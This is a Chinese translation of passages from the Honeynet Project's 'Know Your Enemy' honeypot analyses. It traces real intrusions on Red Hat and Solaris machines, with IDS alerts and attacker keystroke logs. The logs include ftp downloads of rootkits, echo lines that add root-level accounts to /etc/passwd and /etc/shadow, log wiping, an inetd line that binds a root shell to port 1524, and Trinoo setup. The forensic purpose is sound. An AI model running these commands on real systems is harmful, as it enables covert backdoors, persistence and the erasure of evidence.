在运行了这个漏洞利用程序之后,我们可以从/var/log/messages中看到,这个入侵者马上用crak0的帐号登陆,而后su成用户rewt——这两个用户都是由该漏洞利用程序添加的,现在这位入侵者对我们的系统终于拥有了最高权限了。 Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)
抹去踪迹
现在这个入侵者是我们系统的root了,下一步,他要确定他不会被逮到,所以他首先察看了一下是否有其它用户登陆在系统中。
[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
当他确定自己是安全时,他就开始准备将自己藏匿于无形了。最常见的做法是将日志文件中所有的入侵证据先擦除,并且将某些系统中的二进制程序替代为木马——比如ps和netstat,这样一般情况下系统管理员就无法发现入侵者的踪迹了。当一切就绪时,这个入侵者就可以在你几乎无法发现他的情况下,大摇大摆地对你的系统进行完全的控制了。他们用来隐藏自已踪迹的工具,一般情况下我们称之为rootkits,一个常见的rootkits就是lrk4,通过执行它,有许多有用的程序将在一瞬间被替换以便使入侵者消失于无形。如果你想了解更多的关于rootkits的消息,可以看看lrk4的说明文件。这可能会帮助你更多地了解rootkits,我还推荐你看看hide-and-seek这篇由网络黑客写的文档,应该对隐藏踪迹更有些主意。 在系统被入侵后的短短几分钟后,我们可以观察到这个入侵者下载了一个rootkit,并且运行命令"make install"完成了对它的安装,下面就是入侵者在隐藏自身时的一些击键记录。
cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
[email]fdfsfdsdfssd@aol.com[/email]
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
注意到这个入侵者做了一件事,就是建立了一个隐藏目录". ",然后把rootkit放在这里面,这个目录不会被"ls"命令列出来,而如果运行了"ls -la"命令的话,这个目录看起来也象是该目录自身。当然你可以通过运行"find"命令来找出它来。(当然这必须建立在你的find没有被rootkit取代的情况下)。 mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/
这个入侵者虽然看来对装后门木马有比较丰富的经验,担对如何清除日志文件中自己的入侵记录去没啥主意,他并非利用一些清除日志的工具如zap2或者clean来做这件事,而是直接拷贝了/dev/null(这是一个设备特殊文件,为空)到/var/run/utmp及/var/log/utmp,然后删除了/var/log/wtmp,这样,如果你发现这些文件为空,或者试图打开它的时候,你会碰上错误提示:
[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.
下一步
现在你的系统看上去已经足够好了,入侵者往下往往会做两件事:第一,他们通过用你的机器来对网络中其它主机系统进行漏洞扫描;第二,他们希望藏得更深,并且看看他们还能从这个系统中得到什么,比如说其它用户的帐号……咱们这位入侵者选择了第二条,他在系统中安装了一个嗅探器以捕获相关的网络流量,包括telnet以及ftp的一些信息——这样他就可以获得登陆的用户名及密码,我们在/var/log/messages里看到系统在受攻击后一小段时间,网卡被置于混杂模式,以接收各种数据包了。
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode. >
当安装木马、清除日志以及开启嗅探器这些工作都完成后,入侵者离开了我们的系统,当然,一段时间后,他一定还会回来看看,嗅探器是否捕获到了一些有用的信息。
事态控制
当我们的这位朋友离开系统后,我就有机会好好检查一下系统究竟发生了什么。我对咱们被改变的文件、日志以及嗅探器得到的东西比较感兴趣,首先我用tripwire来判断哪些文件被修改或编辑的。需要确保,你通过可信的版本运行你的tripwire,我一般是用一个编译成静态的,存放于写保护软盘之上的的tripwire来判断的,输出如下:
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd
正如我们所看到的,有大量的二进制文件被改动过了,其中/etc/passwd中的两个帐号crak0及rewt已经被移除,所以咱们的入侵者只能通过上面改过的东西,来实现他后门的装载。同时还有两个文件,/usr/sbin/sniff.pid有及/usr/sbin/tcp.log。这其中/usr/sbin/sniff.pid里存放的是嗅探器的pid,而/usr/sbin/tcp.log里则存放着这个入侵者所得到的所有信息。这里入侵者的嗅探器命名为rpc.nfsd——这里的嗅探器应该是linsniff,编译后替换了正常的rpc.nfsd,这样即便系统重启,我们的嗅探器一样能顺利自己启动。下面是我们对/usr/sbin/sniff.pid运行strings命令的结果选摘。
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s
在检查了上面这些信息之后,我决定仍将这台机器放在网络上,因为我对入侵者下一步想做什么,相当感兴趣,而且我还不能让这台honeynet有任何细微的蜘丝马迹,同时把/var/sbin/tcp.log里的数据删除。
归去来兮
一段日子之后,入侵者又回来了,通过记录他的击键,我们可以轻易判断出他装的后门是/bin/login,这个程序允许用户以用户名rewt密码satori来登陆——登陆便是root了,其中密码satori是rootkit lrk4中的默认的。 他检查了他的嗅探器,以确定嗅探器现在还能正常动作,以及在过去的几天中,是否抓到了某些用户的帐号——你可以在文件keystrokes.txt中找到所有的击键原始记录,在记录的后面,我们看到他将嗅探器进程杀掉后,离开系统了。但一会之后,他马上又回来了,重新开启了他的嗅探器——说实话,我不太明白他为什么这么做。 这个进程持续了很长时间,此后的四天中,这个入侵者天天都会登陆上来看一看该嗅探器是否抓到了有价值的数据。并没有做更多的事情,于是我决定将机器从网络中断开了,因为从他这里,我无法学到更多东西。
结论
现在我们可以从头到尾地了解了一个入侵者的侵袭过程了——当他们获得了一个系统的最高权限后,首先看看是否有其它人在线,然后他们通过一些动作来隐藏踪迹、清除日志、删除或者修改某些特定的文件,当他们认为自己安全隐藏时,他们就开始做一些对系统侵害更大的事情了。这种入侵方式最常出现在一种新的漏洞被揭示,漏洞利用程序公布的时候——这时这些入侵者需要的仅是非常简单的技巧了。因此如果你是一个系统管理员的话,我建议应该要尽量地完善你系统的安全性,基本的一些防御会使你的系统抵挡得住大多数的攻击,你可以查看Armoring Linux或者Armoring Solaris来获得一些使主机更安全的思路。如果你感觉机器已经遭受入侵,建议你访问CERT的站点"Recovering from an Incident"以获得帮助。
Know Your Enemy--暗战
此文章是Know Your Enemy系列,前三篇文章涵盖了关于black-hat团体所使用的工具和策略,这文章描述black-hat是怎样一步步成功攻击系统的,这里的重点是在我们怎样知道攻击者的信息。也提供你一些分析和熟悉你自身系统上存在的威胁的思路。这里也有一在线,交互的版本发布在MSNBC上。
背景
此文信息通过honeypot获得,这里的Honeypot安装在REDHAT6.0上,REDHAT是默认的服务安装,所以讨论的漏洞存在在任意默认安装的REDHAT系统上。而且所有数据没有被处理过。下面分析的所有IP地址,用户帐号,和击键的信息是真实的,除了密码信息,这样是为了更直接的了解整个过程。所有SNIFF信息是通过SNORT格式体现的;SNORT是一个常用的嗅探器,对于检测系统入侵分析来说是一个不错的工具,我使用了在[url]http://www.whitehats.com/[/url]上的MAX VISION 的IDS特征。你可以在arachNIDS数据库中查更多有关在此文章中的所有警告信息。你可以在这里找到我的SNORT配置信息和特征文件,包括我使用的命令行选项。
攻击行为
在四月26号,snort提醒我其中的一个系统正受到一个'noop'攻击,信息包装载包含noops的信息,在此情况下,SNORT探测到攻击和记录了警告信息到/var/log/messages文件中(使用swatch来监控),注意这文中172.16.1.107的IP地址是含有honeypot的机器,其他的地址是black-hat(黑帽子)使用的IP地址。
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 我的honeypots每天接受无数探测,扫描和查询,而且下面的一个警告信息使我注意到其中一个系统可能被破坏,下面的系统LOG信息指示攻击者正开始了一个连接和LOGIN了系统:
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这是怎样完成的呢,我们下面开始分析:)。
分析
当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪里开始的,攻击者一般开始是收集系统信息,可以让他获得系统所存在的漏洞,如果你的系统被破坏,这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统的连接获得初始化的信息。所以我们从最开始的信息收集开始,从第一条信息可以知道攻击初于53端口,这表示在我们系统上发动了一个DNS攻击,所以我通过我的snort alerts来发现一些DNS可能的信息探测,我们发现一DNS版本查询探测的信息:
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测后的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关于DNS漏洞的信息,扫描以后,攻击者查看扫描结果,获得系统漏洞信息,然后启用他们的EXPLOIT。这样我们可以得到如下结论:在4月25号被检测后,后一天被侵入,通过我们的IDS警告,我们获知我们是被DNS漏洞攻击。
The Exploit
类似于大多数商业IDS系统,snort可以显示我们所有IP信息包装载数据,我们就使用这功能来分析EXPLOIT,这个EXPLOIT信息可以从snort的LOG记录获得(存储在tcpdump两进制格式)。我查询snort的LOG记录并开始分析攻击开始时候的信息包,我没有把信息限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个不同系统来运行这个EXPLOIT,这个EXPLOIT的目标是在远程主机上获得ROOT SHELL,一旦攻击者获得ROOT SHELL,他们可以以ROOT身份运行所有命令,还通常会在/etc/passwd和/etc/shadow文件中增加帐号,下面的细节中是获得ROOT SHELL后执行的一些命令:
cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
从上面可以知道,攻击者运行了uname -a 查询了系统,和PWD查询当前目录,和ID查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂的意思),要知道,大多数系统中不允许UID为0的帐号远程TELNET,所以起建立了一个可以远程TELNET的帐号,并建立了以后可以SU到ROOT的帐号。在90秒内攻击者利用了EXPLOIT程序进入系统,并获得ROOT权利(可以通过下面的LOG记录)
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
现在要分析其下一步将做什么?
获得访问权利后的活动
比较幸运的是,TELNET是明文协议,对数据没有进行加密,这表示我们可以解开其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,通过捕获对TELNET会话的击键记录,我们可以判断攻击者在做何工作,snort捕获了不但是STDIN(击键),而且还有STDOUT 和STDER记录,让我们来看看TELNET会话和入侵者的活动吧:注释文件我们用红色来标明).
开始,我们的朋友以twin身份TELNET系统(从213.28.22.189),并获得超级用户身份-hantu,这里要记住他不能以UID为0的身份TELNET。
#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r
下一步,攻击者去其他机器抓取ROOTKIT程序,如下:
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
他FTP获得了后门程序,编译了bj.c,并安装代替了/sbin/login程序,(从下面的记录来看,攻击者使用了COPY和粘贴的工作):
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
然后他起用了后门程序:
[root@apollo /]# chown root:bin login
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c
后来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了后门:
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
这是攻击者第二次尝试了编译后门,注意他还是使用"cut 和 paste" 命令:
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast
我们注意到编译的后门被采用,并把合法的/bin/login移到和命名为了/usr/bin/xstat,并把编译后的bj.c代码代替了/bin/login,这个后门程序允许任何人把TERM设定为ct9111可以进行不用认证的访问:
[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
下面的是攻击者摸去其脚印的活动,我相信他使用了脚本程序,并使用了CUT和PASTE,因为注意所有命令的执行只有一个命令提示符,并从下面的记录我们可以知道这个清理的脚本语言名字为'generic' ,注意它是怎样删除这些文件的:
[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
这里发现了一个有趣的事情,这个攻击者使用的generic清理脚本在尝试删除不存在文件的时候产生了错误,我判断攻击者看到了这些信息并尝试了手工删除这些文件,经管这些文件不存在:
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
logout
到这里为止,他离开了系统,并安装了bj.c后门,这个后门允许未认证的访问,只要把TERM设置为VT9111即可。后来,攻击者又多次进行了连接后修改系统。
安装trinoo
在系统被攻击后,我离线检查了系统上的数据,如使用Tripwire,后来,我注意到下一星期多个系统又尝试连接这台机器,很明显攻击者想再次回来,所以,我又把这台机器接上来INTERNET,很好奇想知道这个攻击者想在这机器上再做些什么事情,果然,两星期后,攻击者又回来了,我们再次记录了他的击键记录,检查了TELNET会话进程并知道怎样使我们的系统安装了TRINO 客户端程序:
在5月9号,10:45早上,攻击者从24.7.85.192 再次TELNET机器,注意其设置了VT9111不认证进入了系统:
!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var
在系统上,他想使用DNS,但是,这台机器上的DNS服务已经被破坏,因为DNS被用来EXPLOIT获得ROOT权限,因此系统不能在解析域名了:
[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101
攻击者在FTP系统到新加坡并下载了一些新的ROOTKIT工具,注意建立了一个.s的隐藏目录并存储了ROOTKIT工具:
[root@apollo /]# mkdir .s
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.
他在那台机器上也使用了相同的用户名字:
Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns
攻击者安装和使用了Trinoo客户端,下一步他尝试跳到另一台机器,注意他又设置了不同的VT TERM,这次连接没有成功,因为DNS解析没有成功:
[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit
这个朋友离开不久,并从其他系统上有返回来(137.132.216.35) :
!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit
根据下面的这些活动,可以知道其尝试使用TRINOO攻击其他系统,这个时候,我断开了系统的连接,攻击者企图使用控制的机器并想破坏其他系统的目的,可以通过监视系统的连接获得:
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335
概括
我们这里一步步的讲述了我们设置的honeypot服务器是怎样被破坏的,怎样被安置了后门和最后被使用为Trinoo攻击,April 25号,攻击者第一次扫描honeypot的DNS版本,然后在26号,他执行了NXT-NAMED 漏洞利用程序获得了一ROOT SHELL,一旦它获得了ROOT SHELL,她建立了2个系统帐户,twin和hantu,接下来她马上telnet到机器,获得超级用户访问,然后下灾和安装她的后门bj.c(见下代码),然后她在执行一脚本来清除踪迹,接着离开系统,接下来的星期,她尝试连接系统,但它已经离线了,最后,在5月9号她接着访问,安装和执行Trinoo。到这时我们的honeypot完成了任务。这里是一些另外的分析。
结论
我们这里讲述了honeypot是如何被入侵的,目的是为了使用Forensic anaylisis系统和IDS记录来了解攻击者动向,通过分析这次分析,你应该对分析系统攻击有一个较好的了解。如果你想了解更多这方面的信息,请看:英雄本色
我这里要感谢Marty Roesch 和Max Vision对我们的贡献,没有他们的辛勤工作我做不到这步。所有记录和信息在发表之前已经传递给CERT。而且我们也联系了所有有关这次攻击的IP。
Know Your Enemy-黑客心灵
该篇文章是系列之一,该系列主要介绍黑客社团使用的工具和策略。本文不像该系列其他的文章主要介绍黑客社团怎样怎样、特别是他们使用的技术和工具的实现,而是分析他们的动机和心理。第一部分介绍一台Solaris 2.6系统被入侵,第二部分所提到的很少有相关信息发布,介绍在黑客入侵系统后14天内在“蜜罐”中的通话和行动记录,通过这些信息我们可以了解他们为什么和怎样攻击计算机系统。在入侵后,他们紧接着在系统中放置了一个IRC bot,这个东西是由黑客们所配置和实现的,用来抓取在IRC频道中的所有聊天记录。我们在这两个星期当中一直监视这些记录,所有的信息都罗列在下面。这篇文章并不是要对整个黑客社团的行为作一个概括,相反,我们通过在事件当中一些个体行为的介绍,来给大家一些提示”他们当中某些人怎样想和怎样做“,这也是我们在安全领域所面对的一些普通现象,我们真诚的希望其他安全人员能够从中受益。
下面的所有信息是通过"honeynet"得到的。"honeynet",顾名思义,就是由网络上大量的"蜜罐"所组成,"蜜罐"最简单的定义就是通过精心设计的将被黑客社团所攻击的目标主机。一些"蜜罐"是用来分散攻击者攻击真正主机的注意力,另外一些是用来学习攻击者所使用的工具和策略的,我们这里所提到是属于后者。在本文中提到的很多信息被做了一些修改,特别是用户名和口令、信用卡号、以及很多主机名,其他如确切技术细节、工具以及聊天记录我们并没有作修改。所有信息在被发布之前都已经递交给CERT和FBI,同时对于哪些我们确信遭受入侵的系统,大约发了370份通告给它们的管理员。
前言(译略), by Brad Powell
第一部分:入侵
我们这里使用的"蜜罐"是缺省安装的Solaris 2.6系统,没有任何修改和安装补丁程序。在此讨论的漏洞在任何缺省安装没有使用补丁程序的Solaris 2.6系统上都存在。这也是整个"蜜罐"的设计意图,在系统上布置漏洞并学习它是如何被攻破的。在被攻击过程中,我们可以学习黑客社团所使用的工具和策略。同时"蜜罐"本身也被设计跟踪黑客的每一步行为。
在2000年6月4日,我们的缺省安装Solaris 2.6的"蜜罐"遭受到针对rpc.ttdbserv漏洞的攻击,该漏洞允许在ToolTalk 对象数据库服务上通过溢出远程执行代码(见CVE-1999-0003)。该漏洞在SANS组织的TOP 10上名列第三。我们使用基于sniffer的免费IDS系统Snort检测到该攻击的。
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill:
192.168.78.12:877 -> 172.16.1.107:32775
rpc.ttdbserv漏洞允许远程用户通过缓冲溢出攻击在目标系统上以root权限执行任意命令。下面是攻击者在攻击成功后,在系统上安装后门,具体如下所示:攻击者在'/tmp/bob'文件中加上ingreslock服务(在/etc/service预定义的,端口1524),然后以改文件作为配置文件重新启动inetd,这样/bin/sh被以root权限帮定在1524端口,给予了远程用户root存取权限。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>
/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
当黑客安装了后门,他紧接着连接到1524端口,作为root获得一个shell,并开始执行如下命令。他增加了两个系统用户帐号,以便以后可以telnet上来,注意这里的错误和";"控制字符(因为1524端口的shell没有正确的环境)。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;
此时,攻击者在我们系统上拥有了两个帐号,他可以以're'用户telnet上来,并可以通过su成UID为0的'r'用户来获得系统root权限。我们将回顾一下攻击者当时以及后来的击键记录。
!"' !"P#$#$'LINUX' SunOS 5.6 login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
现在黑客拥有了root权限,一般来首,下一步要做的就是安装一些rootkit并控制系统。首先我们看到黑客在系统上产生一个隐藏目录来隐藏他的工具包。
# mkdir /dev/".. "
# cd /dev/".. "
在产生隐藏目录后,黑客开始从其他机器上存取rootkit。
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for'sun2.tar'(1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
